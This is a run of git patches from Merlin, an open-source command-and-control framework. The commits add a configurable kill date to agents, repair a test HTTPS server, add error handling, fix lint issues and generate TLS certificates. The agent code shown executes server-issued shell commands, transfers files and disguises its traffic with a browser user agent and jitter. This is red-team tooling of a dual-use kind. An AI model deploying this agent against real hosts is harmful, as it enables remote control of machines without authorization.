rename from pkg/agent/testServer/main.go rename to test/testServer/main.go index 071a2840..c744c4b5 100644 --- a/pkg/agent/testServer/main.go +++ b/test/testServer/main.go @@ -1,6 +1,7 @@ package testserver import ( + // Standard "crypto/rand" "crypto/rsa" "crypto/tls" @@ -15,6 +16,7 @@ import ( "testing" "time" + // Merlin "github.com/Ne0nd0g/merlin/pkg/messages" ) @@ -25,7 +27,10 @@ func (ts *TestServer) handler(w http.ResponseWriter, r *http.Request) { j := messages.Base{ Payload: &payload, } - json.NewDecoder(r.Body).Decode(&j) + err := json.NewDecoder(r.Body).Decode(&j) + if err != nil { + log.Fatalf("There was an error:\r\n%s", err.Error()) + } switch r.UserAgent() { case "BrokenJSON": @@ -37,7 +42,10 @@ func (ts *TestServer) handler(w http.ResponseWriter, r *http.Request) { respCode := http.StatusOK //perform logic here to determine if the agent is behaving as expected w.WriteHeader(respCode) - fmt.Fprintln(w, bod) + _, errF := fmt.Fprintln(w, bod) + if errF != nil { + log.Fatalf("There was an error writing the message:\r\n%s", errF) + } } //TestServer is a webserver instance that facilitates functional testing of code that requires the ability to send web requests @@ -45,7 +53,7 @@ type TestServer struct { tes *testing.T } -//since tls/pki is such a pain in the ass, and I'm morally against storing certs on the repo - let's generate them every time :) +//since tls/pki is such a pain this generate them every time func generateTLSConfig() *tls.Config { //https://golang.org/src/crypto/tls/generate_cert.go taken from here mostly serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) @@ -62,7 +70,7 @@ func generateTLSConfig() *tls.Config { IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, DNSNames: []string{"127.0.0.1", "localhost"}, NotBefore: time.Now(), - NotAfter: time.Now().Add(time.Hour * 24), //like 24 hours? idk, it's irrelevant anyway + NotAfter: time.Now().Add(time.Minute * 20), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, BasicConstraintsValid: true, @@ -107,7 +115,6 @@ func (TestServer) Start(port string, finishedTest, setup chan struct{}, t *testi } tlsListener := tls.NewListener(ln, srv.TLSConfig) e = srv.Serve(tlsListener) - //e := srv.ListenAndServeTLS("", "") if e != nil { //should be set by the tls config panic(e) } @@ -123,7 +130,10 @@ func (TestServer) Start(port string, finishedTest, setup chan struct{}, t *testi if err != nil { continue } - resp.Body.Close() + errC := resp.Body.Close() + if errC != nil { + log.Fatalf("There was an error closing the body:\r\n%s", errC) + } if resp.StatusCode != http.StatusOK { continue } From ea2efa73d34de4a34deebf3a6d03103bc90dbeea Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Wed, 6 Feb 2019 23:52:21 -0500 Subject: [PATCH 031/112] Fixed CHANGELOG --- docs/CHANGELOG.MD | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 031553b9..692efd53 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -7,9 +7,9 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. ## 0.6.9 - 2019-XX-XX ### Added -- Added `ls` command to agent & agent menu. Uses go code native to Merlin instead of executing `ls` or `dir` binary +- [Pull 48](https://github.com/Ne0nd0g/merlin/pull/48) - Added `ls` command to agent & agent menu. Uses go code native to Merlin instead of executing `ls` or `dir` binary - New `NativeCmd` message struct for commands native to Merlin -- [Pull 49](https://github.com/Ne0nd0g/merlin/pull/4) - Added tests for agent package and new `/test` directory for test HTTP server +- [Pull 49](https://github.com/Ne0nd0g/merlin/pull/49) - Added tests for agent package and new `/test` directory for test HTTP server ## 0.6.8 - 2019-01-26 From 279850548217098a90c7d335c39c1a61c40028d6 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Thu, 7 Feb 2019 22:10:15 -0500 Subject: [PATCH 032/112] Added `set killdate` to Merlin Server agent menu. Added killdate logging. Updated to print kill date with agent `info` command. --- docs/CHANGELOG.MD | 3 ++- pkg/agent/agent.go | 33 ++++++++++++++++++++++++++------- pkg/agents/agents.go | 20 ++++++++++++++++++-- pkg/cli/cli.go | 21 ++++++++++++++++++++- pkg/messages/messages.go | 1 + 5 files changed, 67 insertions(+), 11 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index d897fa98..bfe4203e 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -10,7 +10,8 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - [Pull 48](https://github.com/Ne0nd0g/merlin/pull/48) - Added `ls` command to agent & agent menu. Uses go code native to Merlin instead of executing `ls` or `dir` binary - New `NativeCmd` message struct for commands native to Merlin - [Pull 49](https://github.com/Ne0nd0g/merlin/pull/49) - Added tests for agent package and new `/test` directory for test HTTP server -- [Pull 50] (https://github.com/Ne0nd0g/merlin/pull/50) - Adds a killdate option to agents +- [Pull 50](https://github.com/Ne0nd0g/merlin/pull/50) - Adds a killdate option to agents + - Added `set killdate` to Merlin Server agent menu and information table so that it can be changed from the server. ## 0.6.8 - 2019-01-26 diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index c516d73d..9003d603 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -80,7 +80,7 @@ type Agent struct { Client *http.Client // Client is an http.Client object used to make HTTP connections for agent communications UserAgent string // UserAgent is the user agent string used with HTTP connections initial bool // initial identifies if the agent has successfully completed the first initial check in - killdate int32 // killdate is a unix timestamp that denotes a time the executable will not run after (if it is 0 it will not be used) + KillDate int64 // killDate is a unix timestamp that denotes a time the executable will not run after (if it is 0 it will not be used) } // New creates a new agent struct with specific values and returns the object @@ -103,7 +103,7 @@ func New(protocol string, verbose bool, debug bool) Agent { Proto: protocol, UserAgent: "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36", initial: false, - killdate: 0, + KillDate: 0, } u, errU := user.Current() @@ -181,7 +181,7 @@ func (a *Agent) Run(server string) { for { // Check killdate to see if the agent should checkin - if (a.killdate == 0) || (int32(time.Now().Unix()) < a.killdate) { + if (a.KillDate == 0) || (time.Now().Unix() < a.KillDate) { if a.initial { if a.Verbose { message("note", "Checking in") @@ -194,10 +194,14 @@ func (a *Agent) Run(server string) { if a.Debug { message("debug", "Failed Checkin is greater than or equal to max retries. Quitting") } - os.Exit(1) + os.Exit(0) } } else { - os.Exit(1) + if a.Verbose { + message("warn", fmt.Sprintf("Quitting. Agent Kill Date has been exceeded: %s", + time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339))) + } + os.Exit(0) } timeSkew := time.Duration(rand.Int63n(a.Skew)) * time.Millisecond @@ -246,6 +250,7 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { Skew: a.Skew, Proto: a.Proto, SysInfo: (*json.RawMessage)(&sysInfoPayload), + KillDate: a.KillDate, } agentInfoPayload, errA := json.Marshal(i) @@ -520,7 +525,6 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode)) } } - case "CmdPayload": var p messages.CmdPayload json.Unmarshal(payload, &p) @@ -633,6 +637,21 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } a.MaxRetry = t a.agentInfo(host, client) + case "killdate": + d, err := strconv.Atoi(p.Args) + if err != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error converting the kill date to an "+ + "integer:\r\n%s", err.Error())) + } + break + } + a.KillDate = int64(d) + if a.Verbose { + message("info", fmt.Sprintf("Set Kill Date to: %s", + time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339))) + } + a.agentInfo(host, client) default: if a.Verbose { message("warn", fmt.Sprintf("Unknown AgentControl message type received %s", p.Command)) @@ -720,7 +739,6 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode)) } } - case "NativeCmd": var p messages.NativeCmd json.Unmarshal(payload, &p) @@ -917,6 +935,7 @@ func (a *Agent) agentInfo(host string, client *http.Client) { FailedCheckin: a.FailedCheckin, Skew: a.Skew, Proto: a.Proto, + KillDate: a.KillDate, } payload, errP := json.Marshal(i) diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 08a1bc4e..c98d1595 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -70,7 +70,7 @@ type agent struct { FailedCheckin int Skew int64 Proto string - killdate int + KillDate int64 } // InitialCheckIn is run on the first communication with an agent and is used to instantiate an agent object @@ -155,7 +155,7 @@ func InitialCheckIn(j messages.Base) { Agents[j.ID] = &agent{ Version: agentInfo.Version, Build: agentInfo.Build, WaitTime: agentInfo.WaitTime, PaddingMax: agentInfo.PaddingMax, MaxRetry: agentInfo.MaxRetry, FailedCheckin: agentInfo.FailedCheckin, - Skew: agentInfo.Skew, Proto: agentInfo.Proto, + Skew: agentInfo.Skew, Proto: agentInfo.Proto, KillDate: agentInfo.KillDate, ID: j.ID, UserName: sysInfo.UserName, UserGUID: sysInfo.UserGUID, Platform: sysInfo.Platform, Architecture: sysInfo.Architecture, Ips: sysInfo.Ips, HostName: sysInfo.HostName, Pid: sysInfo.Pid, channel: make(chan []Job, 10), @@ -168,6 +168,7 @@ func InitialCheckIn(j messages.Base) { Log(j.ID, fmt.Sprintf("FailedCheckin: %d", agentInfo.FailedCheckin)) Log(j.ID, fmt.Sprintf("Skew: %d", agentInfo.Skew)) Log(j.ID, fmt.Sprintf("Proto: %s", agentInfo.Proto)) + Log(j.ID, fmt.Sprintf("Kill Date: %s", time.Unix(agentInfo.KillDate, 0).UTC().Format(time.RFC3339))) Log(j.ID, fmt.Sprintf("Platform: %s", sysInfo.Platform)) Log(j.ID, fmt.Sprintf("Architecture: %s", sysInfo.Architecture)) Log(j.ID, fmt.Sprintf("HostName: %s", sysInfo.HostName)) @@ -253,6 +254,7 @@ func UpdateInfo(j messages.Base, p messages.AgentInfo) { message("debug", fmt.Sprintf("Agent maxRetry: %d", p.MaxRetry)) message("debug", fmt.Sprintf("Agent failedCheckin: %d", p.FailedCheckin)) message("debug", fmt.Sprintf("Agent proto: %s", p.Proto)) + message("debug", fmt.Sprintf("Agent killdate: %s", time.Unix(p.KillDate, 0).UTC().Format(time.RFC3339))) } Log(j.ID, fmt.Sprintf("Processing AgentInfo message:")) Log(j.ID, fmt.Sprintf("\tAgent Version: %s ", p.Version)) @@ -263,6 +265,7 @@ func UpdateInfo(j messages.Base, p messages.AgentInfo) { Log(j.ID, fmt.Sprintf("\tAgent maxRetry: %d ", p.MaxRetry)) Log(j.ID, fmt.Sprintf("\tAgent failedCheckin: %d ", p.FailedCheckin)) Log(j.ID, fmt.Sprintf("\tAgent proto: %s ", p.Proto)) + Log(j.ID, fmt.Sprintf("\tAgent KillDate: %s", time.Unix(p.KillDate, 0).UTC().Format(time.RFC3339))) Agents[j.ID].Version = p.Version Agents[j.ID].Build = p.Build @@ -272,6 +275,7 @@ func UpdateInfo(j messages.Base, p messages.AgentInfo) { Agents[j.ID].MaxRetry = p.MaxRetry Agents[j.ID].FailedCheckin = p.FailedCheckin Agents[j.ID].Proto = p.Proto + Agents[j.ID].KillDate = p.KillDate } // Log is used to write log messages to the agent's log file @@ -318,6 +322,7 @@ func ShowInfo(agentID uuid.UUID) { {"Agent Message Padding Max", strconv.Itoa(Agents[agentID].PaddingMax)}, {"Agent Max Retries", strconv.Itoa(Agents[agentID].MaxRetry)}, {"Agent Failed Check In", strconv.Itoa(Agents[agentID].FailedCheckin)}, + {"Agent Kill Date", time.Unix(Agents[agentID].KillDate, 0).UTC().Format(time.RFC3339)}, {"Agent Communication Protocol", Agents[agentID].Proto}, } table.AppendBulk(data) @@ -490,6 +495,17 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { p.Args = "./" } + k := marshalMessage(p) + m.Payload = (*json.RawMessage)(&k) + case "killdate": + m.Type = "AgentControl" + p := messages.AgentControl{ + Command: job.Args[0], + Job: job.ID, + } + if len(job.Args) == 2 { + p.Args = job.Args[1] + } k := marshalMessage(p) m.Payload = (*json.RawMessage)(&k) case "maxretry": diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 2ab49a00..6e45c1e5 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -28,6 +28,7 @@ import ( "os" "os/exec" "path" + "strconv" "strings" "time" @@ -406,6 +407,23 @@ func Shell() { case "set": if len(cmd) > 1 { switch cmd[1] { + case "killdate": + if len(cmd) > 2 { + _, errU := strconv.ParseInt(cmd[2], 10, 64) + if errU != nil { + message("warn", fmt.Sprintf("There was an error converting %s to an int64", cmd[2])) + message("info", "Kill date takes in a UNIX epoch timestamp such as 811123200 for September 15, 1995") + break + } + m, err := agents.AddJob(shellAgent, "killdate", cmd[1:]) + if err != nil { + message("warn", fmt.Sprintf("There was an error adding a killdate "+ + "agent control message:\r\n%s", err.Error())) + } else { + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) + } + } case "maxretry": if len(cmd) > 2 { m, err := agents.AddJob(shellAgent, "maxretry", cmd[1:]) @@ -675,6 +693,7 @@ func getCompleter(completer string) *readline.PrefixCompleter { readline.PcItem("main"), readline.PcItem("shell"), readline.PcItem("set", + readline.PcItem("killdate"), readline.PcItem("maxretry"), readline.PcItem("padding"), readline.PcItem("skew"), @@ -766,7 +785,7 @@ func menuHelpAgent() { {"kill", "Instruct the agent to die or quit", ""}, {"ls", "List directory contents", "ls /etc"}, {"main", "Return to the main menu", ""}, - {"set", "Set the value for one of the agent's options", "maxretry, padding, skew, sleep"}, + {"set", "Set the value for one of the agent's options", "killdate, maxretry, padding, skew, sleep"}, {"shell", "Execute a command on the agent", "shell ping -c 3 8.8.8.8"}, {"status", "Print the current status of the agent", ""}, {"upload", "Upload a file to the agent", "upload "}, diff --git a/pkg/messages/messages.go b/pkg/messages/messages.go index cfe7d305..d1780a61 100644 --- a/pkg/messages/messages.go +++ b/pkg/messages/messages.go @@ -83,6 +83,7 @@ type AgentInfo struct { Skew int64 `json:"skew,omitempty"` Proto string `json:"proto,omitempty"` SysInfo interface{} `json:"sysinfo,omitempty"` + KillDate int64 `json:"killdate,omitempty"` } // Shellcode is a JSON payload containing shellcode and the method for execution From 49cf22f9fa71ebacff11045df1ed2aa829657dee Mon Sep 17 00:00:00 2001 From: C-Sto <7466346+C-Sto@users.noreply.github.com> Date: Fri, 8 Feb 2019 13:19:46 +0800 Subject: [PATCH 033/112] unbreak test server --- test/testServer/main.go | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/test/testServer/main.go b/test/testServer/main.go index c744c4b5..bbff63fd 100644 --- a/test/testServer/main.go +++ b/test/testServer/main.go @@ -21,6 +21,10 @@ import ( ) func (ts *TestServer) handler(w http.ResponseWriter, r *http.Request) { + if r.Method == http.MethodGet && r.RequestURI == "/isup" { + w.WriteHeader(200) + return + } bod := "" var payload json.RawMessage @@ -126,7 +130,7 @@ func (TestServer) Start(port string, finishedTest, setup chan struct{}, t *testi TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } - resp, err := client.Get("https://localhost:" + port) + resp, err := client.Get("https://localhost:" + port + "/isup") if err != nil { continue } From b6e688b7cbe357f0f1289b75167cb3687a80891f Mon Sep 17 00:00:00 2001 From: C-Sto <7466346+C-Sto@users.noreply.github.com> Date: Fri, 8 Feb 2019 14:46:03 +0800 Subject: [PATCH 034/112] resolve failed checkin tests due to corrupt json --- pkg/agent/agent.go | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 4b29b3f0..47573533 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -368,14 +368,17 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { return } - a.FailedCheckin = 0 - if resp.ContentLength != 0 { var payload json.RawMessage j := messages.Base{ Payload: &payload, } - json.NewDecoder(resp.Body).Decode(&j) + err := json.NewDecoder(resp.Body).Decode(&j) + if err != nil { + a.FailedCheckin++ + return + } + a.FailedCheckin = 0 if a.Debug { message("debug", fmt.Sprintf("Agent ID: %s", j.ID)) From c21462176ab85c9a7b4e86eec385de3d6a6e9767 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Fri, 8 Feb 2019 16:21:12 -0500 Subject: [PATCH 035/112] Fixed format strings --- pkg/agents/agents.go | 2 +- pkg/servers/http2/http2.go | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index c98d1595..4b433673 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -203,7 +203,7 @@ func StatusCheckIn(j messages.Base) (messages.Base, error) { if core.Debug { message("debug", fmt.Sprintf("Received agent status checkin from %s", j.ID)) message("debug", fmt.Sprintf("Channel length: %d", len(Agents[j.ID].channel))) - message("debug", fmt.Sprintf("Channel content: %s", Agents[j.ID].channel)) + message("debug", fmt.Sprintf("Channel content: %v", Agents[j.ID].channel)) } Agents[j.ID].StatusCheckIn = time.Now().UTC() diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index ef56b6aa..22f2ed93 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -231,7 +231,7 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { json.NewDecoder(r.Body).Decode(&j) if core.Debug { - message("debug", fmt.Sprintf("[DEBUG]POST DATA: %s", j)) + message("debug", fmt.Sprintf("[DEBUG]POST DATA: %v", j)) } switch j.Type { @@ -271,7 +271,7 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { var p messages.AgentInfo json.Unmarshal(payload, &p) if core.Debug { - message("debug", fmt.Sprintf("AgentInfo JSON object: %s", p)) + message("debug", fmt.Sprintf("AgentInfo JSON object: %v", p)) } agents.UpdateInfo(j, p) case "FileTransfer": From 5d60d89a664049728c21259ab05727cc09470171 Mon Sep 17 00:00:00 2001 From: Russel Van Tuyl Date: Fri, 8 Feb 2019 17:22:46 -0500 Subject: [PATCH 036/112] Linting Error Fixed linting error. --- pkg/agent/exec.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index c43471f2..b99a4a94 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -72,5 +72,5 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { } func miniDump(process string, pid uint32) ([]byte, error) { - return []byte{}, errors.New("Minidump doesn't work on non-windows hosts.") + return []byte{}, errors.New("minidump doesn't work on non-windows hosts.") } From c60c4a384dd3f3e75d67832b12a53085d467725c Mon Sep 17 00:00:00 2001 From: Russel Van Tuyl Date: Fri, 8 Feb 2019 17:24:31 -0500 Subject: [PATCH 037/112] Update exec.go --- pkg/agent/exec.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index b99a4a94..5a6861b9 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -72,5 +72,5 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { } func miniDump(process string, pid uint32) ([]byte, error) { - return []byte{}, errors.New("minidump doesn't work on non-windows hosts.") + return []byte{}, errors.New("minidump doesn't work on non-windows hosts") } From 5cee5bf1caba186c2b60684a3217a780dde4e827 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Fri, 8 Feb 2019 22:22:21 -0500 Subject: [PATCH 038/112] Handled errors in agent.go and resolved gosec warnings. --- pkg/agent/agent.go | 159 ++++++++++++++++++++++++++++++++++++++------- pkg/agent/exec.go | 4 +- 2 files changed, 138 insertions(+), 25 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 9003d603..9194a0cf 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -20,7 +20,7 @@ package agent import ( // Standard "bytes" - "crypto/sha1" + "crypto/sha1" // #nosec "crypto/tls" "encoding/base64" "encoding/json" @@ -272,7 +272,12 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { } b := new(bytes.Buffer) - json.NewEncoder(b).Encode(g) + errJ := json.NewEncoder(b).Encode(g) + if errJ != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", errJ.Error())) + } + } if a.Verbose { message("note", fmt.Sprintf("Connecting to web server at %s for initial check in.", host)) } @@ -334,7 +339,12 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } b := new(bytes.Buffer) - json.NewEncoder(b).Encode(g) + errJ := json.NewEncoder(b).Encode(g) + if errJ != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", errJ.Error())) + } + } if a.Verbose { message("note", fmt.Sprintf("Connecting to web server at %s for status check in.", host)) @@ -387,7 +397,13 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { j := messages.Base{ Payload: &payload, } - json.NewDecoder(resp.Body).Decode(&j) + errD := json.NewDecoder(resp.Body).Decode(&j) + if errD != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error decoding the JSON message:\r\n%s", + errD.Error())) + } + } if a.Debug { message("debug", fmt.Sprintf("Agent ID: %s", j.ID)) @@ -399,7 +415,13 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { switch j.Type { // TODO add self destruct that will find the .exe current path and start a new process to delete it after initial sleep case "FileTransfer": var p messages.FileTransfer - json.Unmarshal(payload, &p) + errF := json.Unmarshal(payload, &p) + if errF != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error unmarshalling the FileTransfer JSON "+ + "message:\r\n%s", errF.Error())) + } + } g := messages.Base{ Version: 1.0, @@ -458,7 +480,14 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } } - k, _ := json.Marshal(c) + k, err := json.Marshal(c) + if err != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error marshalling the CmdResults JSON for"+ + " file download:\r\n%s", err.Error())) + } + break + } g.Type = "CmdResults" g.Payload = (*json.RawMessage)(&k) } @@ -484,13 +513,25 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if a.Verbose { message("note", "Sending error message to sever.") } - k, _ := json.Marshal(c) + k, err := json.Marshal(c) + if err != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error marshalling the CmdResults JSON for"+ + " file upload:\r\n%s", err.Error())) + } + break + } g.Type = "CmdResults" g.Payload = (*json.RawMessage)(&k) } else { - fileHash := sha1.New() - io.WriteString(fileHash, string(fileData)) + fileHash := sha1.New() // #nosec // Use SHA1 because it is what many Blue Team tools use + _, errW := io.WriteString(fileHash, string(fileData)) + if errW != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error generating the SHA1 file hash e:\r\n%s", errW.Error())) + } + } if a.Verbose { message("note", fmt.Sprintf("Uploading file %s of size %d bytes and a SHA1 hash of %x to the server", @@ -505,14 +546,27 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { Job: p.Job, } - k, _ := json.Marshal(c) + k, err := json.Marshal(c) + if err != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error marshalling the CmdPayload JSON "+ + "message:\r\n%s", err.Error())) + } + break + } g.Type = "FileTransfer" g.Payload = (*json.RawMessage)(&k) } } b2 := new(bytes.Buffer) - json.NewEncoder(b2).Encode(g) + err1 := json.NewEncoder(b2).Encode(g) + if err1 != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", + err1.Error())) + } + } resp2, respErr := client.Post(host, "application/json; charset=utf-8", b2) if respErr != nil { if a.Verbose { @@ -527,7 +581,13 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } case "CmdPayload": var p messages.CmdPayload - json.Unmarshal(payload, &p) + err2 := json.Unmarshal(payload, &p) + if err2 != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error unmarshalling the CmdPayload JSON "+ + "message:\r\n%s", err2.Error())) + } + } stdout, stderr := a.executeCommand(p) // TODO this needs to be its own routine so the agent can continue to function while it is going c := messages.CmdResults{ @@ -536,7 +596,14 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { Stderr: stderr, } - k, _ := json.Marshal(c) + k, err := json.Marshal(c) + if err != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error marshalling the CmdPayload JSON "+ + "message:\r\n%s", err.Error())) + } + break + } g := messages.Base{ Version: 1.0, ID: j.ID, @@ -545,14 +612,28 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax), } b2 := new(bytes.Buffer) - json.NewEncoder(b2).Encode(g) + err3 := json.NewEncoder(b2).Encode(g) + if err3 != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the CmdPayload JSON "+ + "message:\r\n%s", err3.Error())) + } + } if a.Verbose { message("note", fmt.Sprintf("Sending response to server: %s", stdout)) } - resp2, _ := client.Post(host, "application/json; charset=utf-8", b2) + resp2, errR := client.Post(host, "application/json; charset=utf-8", b2) + if errR != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error with the POST request:\r\n%s", + errR.Error())) + } + break + } if resp2.StatusCode != 200 { if a.Verbose { - message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode)) + message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", + resp2.StatusCode)) } } case "ServerOk": @@ -564,7 +645,13 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("note", "Received Agent Control Message") } var p messages.AgentControl - json.Unmarshal(payload, &p) + err4 := json.Unmarshal(payload, &p) + if err4 != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error unmarshalling the AgentControl "+ + "JSON message:\r\n%s", err4.Error())) + } + } switch p.Command { case "kill": @@ -722,7 +809,8 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } if a.Debug { - message("info", fmt.Sprintf("About to send POST to server for job %s \r\nSTDOUT:\r\n%s\r\nSTDERR:\r\n%s", s.Job, so, se)) + message("info", fmt.Sprintf("About to send POST to server for job %s "+ + "\r\nSTDOUT:\r\n%s\r\nSTDERR:\r\n%s", s.Job, so, se)) } resp2, errPost := client.Post(host, "application/json; charset=utf-8", b2) @@ -741,7 +829,13 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } case "NativeCmd": var p messages.NativeCmd - json.Unmarshal(payload, &p) + err5 := json.Unmarshal(payload, &p) + if err5 != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error unmarshalling the NativeCmd JSON "+ + "message:\r\n%s", err5.Error())) + } + } switch p.Command { case "ls": @@ -770,14 +864,28 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax), } b2 := new(bytes.Buffer) - json.NewEncoder(b2).Encode(g) + err6 := json.NewEncoder(b2).Encode(g) + if err6 != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON message for the"+ + " ls command results:\r\n%s", err6.Error())) + } + } if a.Verbose { message("note", fmt.Sprintf("Sending response to server: %s", listing)) } - resp2, _ := client.Post(host, "application/json; charset=utf-8", b2) + resp2, errR := client.Post(host, "application/json; charset=utf-8", b2) + if errR != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error with the POST request:\r\n%s", + errR.Error())) + } + break + } if resp2.StatusCode != 200 { if a.Verbose { - message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode)) + message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", + resp2.StatusCode)) } } } @@ -956,7 +1064,12 @@ func (a *Agent) agentInfo(host string, client *http.Client) { } b := new(bytes.Buffer) - json.NewEncoder(b).Encode(g) + err := json.NewEncoder(b).Encode(g) + if err != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the agentInfo JSON message:\r\n%s", err.Error())) + } + } if a.Verbose { message("note", fmt.Sprintf("Connecting to web server at %s to update agent configuration information.", host)) } diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index eb6c55ba..784a5feb 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -38,7 +38,7 @@ func ExecuteCommand(name string, arg string) (stdout string, stderr string) { return "", fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", arg, errS.Error()) } - cmd = exec.Command(name, argS...) + cmd = exec.Command(name, argS...) // #nosec out, err := cmd.CombinedOutput() stdout = string(out) @@ -69,4 +69,4 @@ func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error { // ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { return errors.New("shellcode execution is not implemented for this operating system") -} \ No newline at end of file +} From 23029814b2b9a9d6714a8381e44794d915a0511f Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Sat, 9 Feb 2019 15:27:11 +0800 Subject: [PATCH 039/112] add self generating TLS certificates in default no-cert state --- data/x509/server.crt | 21 ----- data/x509/server.key | 27 ------ pkg/servers/http2/http2.go | 124 ++++++++++++++---------- pkg/util/tls.go | 112 ++++++++++++++++++++++ test/util_test.go | 188 +++++++++++++++++++++++++++++++++++++ 5 files changed, 373 insertions(+), 99 deletions(-) delete mode 100644 data/x509/server.crt delete mode 100644 data/x509/server.key create mode 